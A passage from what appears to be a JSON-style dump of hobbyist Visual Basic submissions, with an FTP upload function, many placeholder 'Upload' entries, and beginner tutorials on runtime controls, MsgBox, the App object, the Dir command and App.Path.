Cancel the last request if one as slipped in between the last line\n ' of code and this one.\n .Cancel\n ' Set the Protocol of the selected Inet control.\n .Protocol = icFTP\n ' Set the URL of the selected Inet control. YOU MUST SET THE URL BEFORE\n ' YOU SET THE USERNAME AND PASSWORD.\n .URL = strURL\n ' Set the UserName of the selected Inet control.\n .UserName = strUserName\n ' Set the Password of the selected Inet control.\n .Password = strPassword\n End With\n \n ' Execute the 'PUT' command using the selected Inet control. The first param\n ' of the PUT command is the LOCAL file path and name. The second (last) param\n ' of the PUT command is the REMOTE file path and name.\n InetControl.Execute , \"PUT \" & Chr(34) & strLocalFile & Chr(34) & \" \" & Chr(34) & strRemoteFile & Chr(34)\n \n ' Create a loop and kill it when the selected Inet control is FINISHED executing\n ' it's last command (in our case, the last command is 'PUT').\n Do While InetControl.StillExecuting\n ' Allow the processor to carry on other tasks\n DoEvents\n ' Continue the loop.\n Loop\n \n ' The upload WAS successful, no errors. Set 'UploadFile' to TRUE.\n UploadFile = True\n ' Exit the function so that we don't trip anymore events.\n Exit Function\n \n ' Finally, the 'ErrHandle_UploadFile' label statement. This label statement,\n ' when accessed, will trigger the code below it.\nErrHandle_UploadFile:\n ' In our case, if we had an error or something, we want to return a FALSE\n ' value telling the user that the upload WAS NOT successful.\n UploadFile = False\n ' Then we exit the function just incase an error triggered this label\n ' statement.\n Exit Function\nEnd Function\n"},{"WorldId":1,"id":23455,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23464,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23476,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23477,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23478,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23480,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23482,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23483,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23487,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23492,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23499,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23503,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23507,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23509,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23513,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23519,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23521,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23522,"LineNumber":1,"line":"<html>\n<head>\n<meta http-equiv=\"Content-Type\" content=\"text/html; charset=windows-1252\">\n<meta name=\"GENERATOR\" content=\"Microsoft FrontPage 4.0\">\n<meta name=\"ProgId\" content=\"FrontPage.Editor.Document\">\n<title>Creating controls at runtime</title>\n</head>\n<body>\nCreating controls at runtime -I\nMany times we are faced with a situation where we want to create controls such as\nTextBox , CommandButton, Label at runtime in Visual Basic . Say u wanted to create\na textBox or an array of Option Buttons but you don't know how many u might need at that point in the program \n. Creating controls at runtime allows you the flexibility to do this and more.\nYou can create and use all the common controls that u see in your toolbar very\neasily. The first step in creating a \ncontrol at runtime involves declaring a variable which will 'hold' the control. \n \n \n 1. Declaration: \n \nIt is always better to declare this variable in the general declaration section of a form so that \nit can be used through out the form or declare it globally in a module(.bas file), if u have a \nmodule added to your project. A good idea here is to name the variable using standard conventions. \nUsing the \n \ntxt prefix for a TextBox \ncmd prefix for a CommandButton \nlbl prefix for a Lable \nchk prefix for a CheckBox \nopt prefix for an OptionButton \n \nand so on. For e.g.\nDim txtInput \nDim cmdInput \nDim lblInput\n \n\n \nThe Next Step involves setting the variable to a particular control like TextBox or a \nCommandButton \n \n \n2. Preparing the variable to hold the control: \n \nThis is the most important step while creating a control at runtime. The common format for \ncreating a control is as follows \n \nSet varname=frmName.Controls.Add(Control Type,Control Name,frmName) \n \nHere varname is the variable to which you want to set the control to ,frmName is the form name to \nwhich you want to add the control, Control Type is the type of control i.e \"VB.TextBox\" for a text \nbox,\"VB.CommandButton\" for a command button and so on .Control Name can be the same as the \nvariable name or any name. \n \n \nSo if u wanted to create a textbox txtInput you would have to do it this way \nSet txtInput=frmTest.Controls.Add("VB.TextBox","txtInput",frmTest) \n \nTo create a CommandButton \nSet cmdInput=frmTest.Controls.Add("VB.CommandButton","cmdInput",frmTest) \n \nTo create a Label \nSet lblInput=frmTest.Controls.Add("VB.Label","lblInput",frmTest) \n \nTo create a CheckBox \nSet chkInput=frmTest.Controls.Add("VB.CheckBox","chkInput",frmTest) \n \nTo create an OptionButton \nSet optInput=frmTest.Controls.Add("VB.OptionButton","chkInput",frmTest) \n \n \nSimilarly you can add a ListBox,ComboBox,PictureBox etc \n \n \n \n3. Setting the properties of the control. \n \n \nWell now that you have created the control ,you want it to be displayed,\nvisible.You will need to \nset a few properties before you can display the control. The 2 most important properties are the \ncontrolname.Left and controlname.Top properites. These 2 properties determine where your control \nwill be placed on the form. It is generally a very good idea to set these properties with respect \nto the form on which they are present. For ex \n \ntxtInput.Left=frmTest.Left + 100 Or \ntxtInput.Left=frmTest.Left/2 \n \nand \n \ntxtInput.Top=frmTest.Top + 100 Or \ntxtInput.Top=frmTest.Top/2 \n \nThere are 2 more properites which are equally important.They are the controlname.Width and \ncontrolname.Height properites. \n \ntxtInput.Height=25 \ntxtInput.Width=50 \nIn addition you may set any properties that u might need. \n \n \n4. Displaying the control. \n \nThis is the last step where you have got to set the .Visible property to true in order to display \nthe control. \n \nEg \ntxtInput.Visible=True \ncmdInput.Visible=True \n \n \n \nThe final code should look something like this if u want to add a textbox at\nruntime \nIn the General Declaration \nDim txtInput \n \nAnd in any event like the form_load event or command_click event for e.g. \nput this \n \nSet txtInput=frmTest.Controls.Add("VB.TextBox","txtInput",frmTest) \ntxtInput.Left=frmTest.Left/2 \ntxtInput.Top=frmTest.Top/2 \ntxtInput.Height=25 \ntxtInput.Width=50 \ntxtInput.Visible=True \n \n\nAfter you have created the controls you can use them as you use your controls\nnormally. You can set the caption, get the text inputted just as you you would\ndo for any control created at design time.\n \n \nMany of you must be wondering that now We have created the controls and can set properties, but\nhow do we react to the events of the controls, How do we detect if the new commandbutton that was\ncreated is clicked. This requires an advanced concept called subclassing. I shall discuss about\nsubclassing with respect to our controls created at runtime in my next article. \n \n \nIf u have any comments/questions/suggestions send me a mail at <a href=\"mailto:venky_dude@yahoo.com\">venky_dude@yahoo.com</a>\n.Also check out my homepage for some cool <a href=\"http://www.geocities.yahoo.com/venky_dude/venkwork.htm\">VB\nCodes</a> \n \n \n\n</body>\n</html>\n"},{"WorldId":1,"id":23525,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23526,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23527,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23529,"LineNumber":1,"line":"Everyone uses MsgBox's, but most people just use it in the form of: \nMsgBox(\"Hello World\") \nWhat most people don't realise is that the MsgBox function has a wide variety of functions. \nThe proper syntax of the function is: \nMsgBox([Message], [options], [title], [Help File], [Context]) \nFor the purpose of not getting into too much advanced stuff here, we won't go into [context], we'll just leave it as vbNull, or not put anything in there at all. \nFor [Message] You can put whatever you like surrounded in quotes. The basic string! \nFor [options] you can put a combination of items using the Or keyword. [options] allows you to specify the buttons on the MsgBox (ok, cancel, retry, help, etc.), and/or the icon that appears on it. There are a bunch of already defined constants that VB allows you to use (seperate by the Or keyword if you want to use more than one, which I have already mentioned). \nvbCritical = The big red circle with an X in the middle of it \nvbExclamation = The yellow triangle with the exclamation point in it \nvbInformation = The white text bubble with the big i in it \nvbQuestion = The white text bubble with the big question mark in it \nNote: You cannot combine icons, if you try to, none of them will show up. \nYou can also set which buttons show up, the names of the constants pretty much resemble what they do, for example: \nvbYesNo = Gives the user the option of hitting Yes or No \nvbOKOnly = Gives the user only the option to hit OK \nvbAbortRetryIgnore = Abort, Retry, and Ignore options are given. \nvbMsgBoxHelpButton = This will make a help button, and can be combined with vbOKOnly and vbCancelOnly. \nTry entering this into Visual Basic: \nCall MsgBox(\"Cannot Find File\", vbCritical Or vbAbortRetryIgnore) \nPretty neat eh? \nThe last two options we should look at are: \nvbSystemModal, and vbApplicationModal \nvbApplicationModal prevents the user from preforming any work in the app until a button it pushed. vbSystemModal keeps the MsgBox on top of all windows until a button is pushed. \nThe next setting is [title], this is pretty straight forward, as it sets the title for the MsgBox. If it is not set, the title will be the title of the application, NOT the form. \n[help file] is the path to the help file (in quotations), that will pop up when the user clicks the Help button if you include one. A help button will only be there if yoiu include a vbMsgBoxHelpButton in your options. \nAnother great function of MsgBox's, are their ability to return values, for example, asking for confirmation, you could use some bit of code like: \nDim X \nX = MsgBox(\"Are you sure?\", vbInformation Or vbYesNo, \"Confirmation\") \nIf X = vbYes Then Call MsgBox(\"Thanks\", vbOKOnly) Visual Basic also has a list of constants used to evaluate return values resulting from MsgBox's. They are pretty self explanitory, I'm sure you wouldn't even need to browse through a list to get most, if not all of them, some of them are as follows: \nvbYes = The 'Yes' button was pressed \nvbNo = The 'No' button was pressed \nvbCancel = The 'Cancel' button was pressed \nvbAbort = The 'About' button was pressed \nvbRetry = The 'Retry' button was pressed \nI'm sure you get the idea :) \nLast thing we're gonna look at, is making multiple lines of text. It's actually very very easy, by using the vbCrLf constant that VB has. When making your [Message] try throwing it in as you would a TextBox. For example: \nCall MsgBox(\"Hello\" & vbCrLf & \"World\") \nWell, there's my input for today, you should all be experts on MsgBox's now, I hope I helped at least one person, I know it's a bit useless, but everyone uses MsgBox's, and it's good to know what you can do, just in case you get stuck. \nPlease vote for me :) \nRegards, \nDarkStarX\n"},{"WorldId":1,"id":23530,"LineNumber":1,"line":"' Name : Clear all recent documents\n' By : Rudy Alex Kohn\n' [rudyalexkohn@hotmail.com]\nPublic Function ClearRecent()\n ' Clear the 'Recent Document' list\n ' Returns 0 if successfull\n ClearRecent = SHAddToRecentDocs(0, 0)\nEnd Function\nSub Main()\n If MsgBox(\"This will clean the 'Recent Documents', proceed?\", 68, \"Clear Recent Documents List\") = 7 Then End\n If ClearRecent <> 0 Then MsgBox \"Error..\"\nEnd Sub\n"},{"WorldId":1,"id":23531,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23532,"LineNumber":1,"line":"\n<HTML>\n<HEAD>\n<META http-equiv=\"Content-Type\" content=\"text/html; charset=iso-8859-1\">\n<TITLE>Daily Newbie - 05/01/2001</TITLE>\n</HEAD>\n<BODY bgcolor=\"#ffffff\">\n\n<IMG width=\"100%\" height=\"3\" v: shapes=\"_x0000_s1027\">\nThe\nDaily Newbie\n“To Start Things\nOff Right”\n\n \nMay 8,\n2001 \n \n\n\nLove it, hate it, or just don't care, the Daily Newbie is back. I have decided to change the format a little. Although \n\tthe layout is going to be the same as it always was, I am going to start using the PSC Ask A Pro discussion forum\n\tto choose my topics. I find that newbies make up a large part of that forum and they ask some pretty good questions. \n\tAlso, if you have a question, email me and I will try to work it in.\n\n\n\n\nToday’s Topic:\n The App Object\nName Derived\nFrom: \n \"Application\"</A> \n\nUsed for: \nRetriving information about your application at runtime.\nVB Help Description: It determines or specifies information \nabout the application's title, version information, the path and name of its executable file and Help files, \nand whether or not a previous instance of the application is running.\nPlain\nEnglish: Returns information about the running application.\n<FONT< pre>\nSyntax: X = App.{Property} \n<PRE></PRE>\n\n Properties: \nUsage: MsgBox \"This application is named: \" & App.Title \n\n\tNote: This article shows the most common and useful properties for the App object. There are a total of 30 \n\tproperties that you can access from code.\n<BLOCKQUOTE>\n<BLOCKQUOTE>\n<LI>Comments - The comments that were added in the Make tab of the project before compiling.\n<LI>Company Name = The company name that was added in the Make tab before compiling. This is useful for copyright \n\tprotection when creating reusable objects (.dll's or .ocx's)\n\tActiveX .dll's or\n<LI>EXEName - The name of the executable file that is running.\n<LI>FileDescription - Again, entered in the Make tab before compiling. A general description of a project.\n<LI>HelpFile - The Windows help file associated with this application. This property could be used to make sure\n\t\tthe help file exists before trying to open it.\n<LI>Major - The Major application version. In MyApp Version 2.5.34, the Major Version would be \"2\".\n<LI>Minor - The Minor application version. In MyApp Version 2.5.34, the Minor Version would be \"5\".\n<LI>Revision - The Revision (or \"Build\") number of they application version. In MyApp Version 2.2.34, the Revision would be \"34\"\n<LI>Path - Probably the most commonly used property. Returns the full path to the folder that the executable was \n\t\t\t\trun from.\n<LI>Title - The name of the application (i.e. MyCoolApp or whatever you compiled it as). This is not necessarily the same as the\n\t\t\tEXEName, since EXE's can be renamed at will. \n</blockquote></blockquote>\n Methods: \n<LI>StartLogging - Sets the execution log path to a log file. Can also be set to log to the NT Event Log.\n<LI>LogEvent - Causes a log event to be written to the \n log path that was specified in the StartLogging method.</LI></BLOCKQUOTE></BLOCKQUOTE>\n\nExample: To find out what path the .exe is running from: \n<BLOCKQUOTE>\n<PRE style=\"MARGIN-LEFT: 1.25in; TEXT-INDENT: 0.35pt; tab-stops: 45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\">\n<PRE>\t\tMsgBox \"The application is running from \" & App.Path\n\t</PRE></BLOCKQUOTE> \n<BLOCKQUOTE>\nToday's code snippet returns a list of information about the current \napplication: \t\t\n\n\nCopy & Paste Code:\n\n<PRE>\n\n<CODE></CODE></PRE>\n \n<PRE style=\"MARGIN-LEFT: 1.25in; TEXT-INDENT: 0.35pt; tab-stops: 45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\">\n<CODE> \n\tDebug.Print \"Application Name: \" & App.Title\n Debug.Print \"Running From: \" & App.Path\n Debug.Print \"Version = \" & App.Major & \".\" & App.Minor & App.Minor \n</CODE></PRE>\n Some Notes about the App Object:\n \n<LI>You can use the App.PrevInstance property to prevent your application from being run more than once on a single machine:\n \n<PRE style=\"MARGIN-LEFT: 1.25in; TEXT-INDENT: 0.35pt; tab-stops: 45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\">\n<CODE> \nIf App.PrevInstance = True Then\n\tMsgBox App.Title & \" is already running.\nEnd If\n \n</CODE></PRE></LI>\n</blockquote></blockquote>\n<li>You can open a local file from the application's folder without knowing what path the application is running from:\n<CODE> \n \n</CODE></PRE></LI>\n<PRE style=\"MARGIN-LEFT: 1.25in; TEXT-INDENT: 0.35pt; tab-stops: 45.8pt 91.6pt 183.2pt 229.0pt 274.8pt 320.6pt 366.4pt 412.2pt 458.0pt 503.8pt 549.6pt 595.4pt 641.2pt 687.0pt 732.8pt\">\n<CODE> \nOpen App.Path & \"customer.dat\" For Input As #1\n</CODE></PRE>\n \nThe App Object makes it easy to do some things that otherwise would be very difficult to do in VB. The App.Path property is \nespecially helpful when creating applications that manipulate files. Any comments about this article are welcome.\n</BODY>\n</HTML>\n"},{"WorldId":1,"id":23533,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23536,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23537,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23538,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23539,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23540,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23547,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23548,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23549,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23550,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23553,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23554,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23556,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23559,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23561,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23562,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23563,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23572,"LineNumber":1,"line":"\n<CENTER>The Daily Newbie</CENTER>\n<TABLE cellspacing=\"0\" cellpadding=\"8\" border=\"0\">\n\t<TR>\n\t\t<TH colspan=\"2\" align=\"middle\" nowrap> To Start \n Things Off Right \n\t\t</TH>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\" width=\"30%\">Today's \n Topic: \n\t\t</TD>\n\t\t<TD valign=\"top\">Using the Dir \n Command\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Name \n Derived From \n\t\t</TD>\n\t\t<TD valign=\"top\">\"Directory\"\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Used \n For: \n\t\t</TD>\n\t\t<TD valign=\"top\">Getting Information about a \n particular folder or file.\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">VB Help \n File Description \n\t\t</TD>\n\t\t<TD valign=\"top\">Returns a String representing \n the name of a file, directory, or folder that matches a specified pattern \n or file attribute, or the volume label of a drive. Syntax \n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Plain \n English Description \n\t\t</TD>\n\t\t<TD valign=\"top\">\nDepending on the paramters set, \n returns:\n\t\t\t<UL type=\"1\">\n\t\t\t\t<LI>The Name of a file in a folder that matches a \n patten (*.txt) \n\t\t\t\t<LI>The name of a sub folder within a folder. \n\t\t\t\t<LI>The name of a hard drive.</LI>\n\t\t\t</UL>\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Usage:\n\t\t</TD>\n\t\t<TD valign=\"top\">\nTo get a file name from a \n directory: strFile = Dir \n (\"c:\\MyFolder\\*.txt\")\nTo get a read-only file name from a directory: strFile = Dir (\"c:\\MyFolder\\*.txt\", \n vbReadOnly)\nTo get a sub-directory from a directory: strFile = Dir (\"c:\\MyFolder\\*\", \n vbDirectory)\nTo get the label of a drive: strFile = Dir (\"d:\", \n vbVolume)\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Parameters:\n\t\t</TD>\n\t\t<TD valign=\"top\">\n\t\t\t<UL>\n\t\t\t\t<LI>Path - The root directory to search from.\n\t\t\t\t<LI>Attribute - One of the following VB attribute \n values: vbNormal (default), vbReadOnly, vbHidden, VbSystem, \n vbVolume, vbDirectory</LI>\n\t\t\t</UL>\n \n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Copy \n & Paste Code: \n\t\t</TD>\n\t\t<TD valign=\"top\">\nToday's copy and paste code lists \n all of the files in a directory to the debug window. For details on usage \n of the Dir ()command in this example, see the Notes below.\n\t\t<PRE> Dim strPathAndPattern As String Dim strFileName As String strPathAndPattern = InputBox(\"Enter a path and search pattern (ex: c:\\windows\\*.exe):\") strFileName = Dir(strPathAndPattern) Debug.Print strFileName While strFileName > \"\" strFileName = Dir Debug.Print strFileName \n Wend</CODE></PRE>\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">Notes\n\t\t</TD>\n\t\t<TD valign=\"top\">\n\t\t\t<UL>\n\t\t\t\t<LI>IMPORTANT: To find multiple \n files, you must do a \"two step\" proccess. In the example above, notice \n that the first time Dir() is called (before the While...Wend loop), the \n parameter strPathAndPatten is used. After that, the call is \n simply Dir. (strFileName = Dir). This is sort of confusing if \n you don't know what is going on. When I first used the Dir command, I \n kept getting the same file name over and over. This is because using \n Dir() with a path parameter will always return the FIRST match. To \n get subsequent matches, you simply call Dir(). It remembers the last \n pattern and passes the NEXT match. Really screwy. \n\t\t\t\t<LI>Dir can be used to see if a file already \n exists: If Dir \n (\"c:\\MyFolder\\log.txt\") > \"\" \n Then \n MsgBox \"File Already \n Exists!\" End \n If This is because Dir() will return an empty string (\"\") if \n a match is not found, but will return the file name if a match \n is found. \n\t\t\t\t<LI>Dir can also be used to see if a folder exists, but \n this is a little different. Because of the way Windows handles folder \n names, there is always a folder named \".\" and another named \"..\" . As \n odd as that seems, these names represent the current folder and the \n parent folder. So to find out if a certain folder exists, you can do \n this: If Dir (\"c:\\windows\\system\", \n vbDirectory) > \"..\" Then MsgBox \"Folder \n Already Exists!\" End If \n\t\t\t\t<LI>For a downloadable project using the Dir command, \n <A href=\"http://www.planetsourcecode.com/xq/ASP/txtCodeId.8369/lngWId.1/qx/vb/scripts/ShowCode.htm\">Click Here</A></LI>\n\t\t\t</UL>\n \n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD valign=\"top\">\n\t\t</TD>\n\t\t<TD valign=\"top\">\n\t\t</TD>\n\t</TR>\n\t<TR>\n\t\t<TD colspan=\"2\">\n\t\t</TD>\n\t</TR>\n</TABLE>"},{"WorldId":1,"id":23579,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23580,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23583,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23584,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23587,"LineNumber":1,"line":"A speedy way to set the tab order is to work thru the controls in reverse order setting the tab stop property to 0 on each. When you reach the first control the tab order is set.\nWhen setting the same property on successive controls there is no need to bounce from the form to the property page. Once the focus is set to that property the first time it remains on that property (if available) with each object that receives focus from that point. In the above example setting the tab stop would be... control.. 0, control... 0, control... 0.\nTo get the effect of setting focus to a control by clicking on it's label, as in Access, simply set the tab stop for the label as the next in order before the control that it labels. Since a label can't receive focus at run time the focus goes to the next object in tab order that can receive focus."},{"WorldId":1,"id":23588,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23589,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23592,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23594,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23597,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23598,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23599,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23600,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23605,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23606,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23607,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23613,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23615,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23618,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23628,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23639,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23644,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23650,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23653,"LineNumber":1,"line":"' in form with 2 command buttons\n'cmdMakeTransparent\n'cmdNoTransparency\nPrivate Sub cmdMakeTransparent_Click()\n 'transform formname or me for current form, color which could be\n 'vbWhatever or rgb(r,g,b) or long number value\n TransForm Me, vbWhite 'set the see through color to white\n \nEnd Sub\nPrivate Sub cmdNoTransparency_Click()\n untransForm Me 'set nothing to transparent\nEnd Sub\n"},{"WorldId":1,"id":23654,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23666,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23669,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23670,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23673,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23676,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23678,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23679,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23687,"LineNumber":1,"line":"'DrawTree - draws a tree recursively. Each recursion draws a branch,\n'and then joins on five offshoots\n'\n'Parameters:\n' x0 : start x location\n' y0 : start y location\n' h : height of tree\n' a : angle of branch in degrees\n' limit : how far to fork branches\n' color of current branch\nSub DrawTree(ByVal x0 As Double, ByVal y0 As Double, ByVal h As Double, ByVal a As Double, ByVal limit As Integer, Optional ByVal colour As Long = -1)\n Dim x1 As Double, y1 As Double\n Dim x2 As Double, y2 As Double\n Dim x3 As Double, y3 As Double\n Dim x4 As Double, y4 As Double\n Dim x5 As Double, y5 As Double\n Dim rad As Double\n \n Const pi As Double = 3.141592654\n Const d2r As Double = pi / 180\n \n If limit > 0 Then\n \n If colour = -1 Then\n colour = RGB(0, Rnd * 256, 0)\n End If\n \n rad = a * d2r 'convert angle to radians\n \n 'get locations for tree branch offshoots\n '20% up the branch\n x1 = x0 + 0.2 * h * Cos(rad)\n y1 = y0 + 0.2 * h * Sin(rad)\n \n '40% up the branch\n x2 = x0 + 0.4 * h * Cos(rad)\n y2 = y0 + 0.4 * h * Sin(rad)\n \n '60% up the branch\n x3 = x0 + 0.6 * h * Cos(rad)\n y3 = y0 + 0.6 * h * Sin(rad)\n \n '80% up the branch\n x4 = x0 + 0.8 * h * Cos(rad)\n y4 = y0 + 0.8 * h * Sin(rad)\n \n '100% up the branch\n x5 = x0 + h * Cos(rad)\n y5 = y0 + h * Sin(rad)\n \n 'Draw branch\n Line (x0, y0)-(x5, y5), colour\n \n 'Draw offshoots\n DrawTree x1, y1, h * 0.4, a - 45, limit - 1 '-45degrees off\n DrawTree x2, y2, h * 0.4, a + 45, limit - 1 '+45degrees off\n DrawTree x3, y3, h * 0.4, a - 45, limit - 1\n DrawTree x4, y4, h * 0.4, a + 45, limit - 1\n DrawTree x5, y5, h * 0.4, a - 45, limit - 1\n DrawTree x5, y5, h * 0.4, a, limit - 1\n \n End If\n \nEnd Sub\nPrivate Sub Form_MouseDown(Button As Integer, Shift As Integer, X As Single, Y As Single)\n 'Draw tree with start color of brown\n DrawTree X, Y, 1000, -90, 6, RGB(160, 82, 45)\nEnd Sub\n"},{"WorldId":1,"id":23690,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23692,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23693,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23698,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23701,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23708,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23709,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23712,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23721,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23728,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23738,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23742,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23746,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23749,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23752,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23753,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23760,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23761,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23762,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23768,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23770,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23773,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23775,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23783,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23789,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23791,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23792,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23793,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23796,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23800,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23809,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":23813,"LineNumber":1,"line":"After seeing so many wrong codes on this, I decided to clear things up a bit.\nIf you want to refer to a file located in app.path, nearly everyone writes\nSomeVar$ = App.Path & \"\\SomeFile.txt\"\nWhat if the Program is located in the Root-Directory ? It gives a Run-Time Error because of the \"\\\\\", since App.Path returns \"C:\\\" for example, then appends \"\\SomeFile.txt\", which results in \"C:\\\\SomeFile.txt\".\nONE correct way would be :\nDim SourceFile As String\nIf Right$(App.Path, 1) = \"\\\" Then\n SourceFile = App.Path & \"SomeFile.txt\"\nElse\n SourceFile = App.Path & \"\\SomeFile.txt\"\nEnd If\nThis is the way I use, if there are any other, please put it in the 